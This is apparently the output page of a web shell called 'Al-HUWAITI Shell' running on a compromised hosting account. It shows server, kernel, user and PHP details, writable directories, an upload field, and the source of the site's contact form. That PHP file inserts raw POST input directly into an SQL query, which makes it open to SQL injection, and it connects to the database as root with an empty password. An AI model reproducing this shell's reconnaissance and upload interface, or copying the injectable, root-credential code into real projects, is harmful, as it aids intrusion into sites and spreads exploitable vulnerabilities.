Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux in-mum-web1112.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User : u451330669 ( 451330669)
PHP Version : 8.2.27
Disable Function : NONE
Directory :  /home/u451330669/domains/hificableties.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u451330669/domains/hificableties.com/public_html/contactInsert.php
<?php

$name= $_POST['name'];

$email= $_POST['email'];
$mobile= $_POST['mobile'];

$comment= $_POST['comment'];
$added_on= $_POST['added_on'];
$servername = "localhost";
$username = "root";
$password = "";
$dbname = "ecom";

// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn->connect_error) {
  die("Connection failed: " . $conn->connect_error);
}

$sql = "INSERT INTO contact_us (name,email,mobile, comment,added_on)
VALUES ('$name','$email','$mobile','$comment','$added_on')";

if ($conn->query($sql) === TRUE) {
 header("Location:index.php");
} else {
  echo "Error: " . $sql . "<br>" . $conn->error;
}

$conn->close();
?>

Al-HUWAITI Shell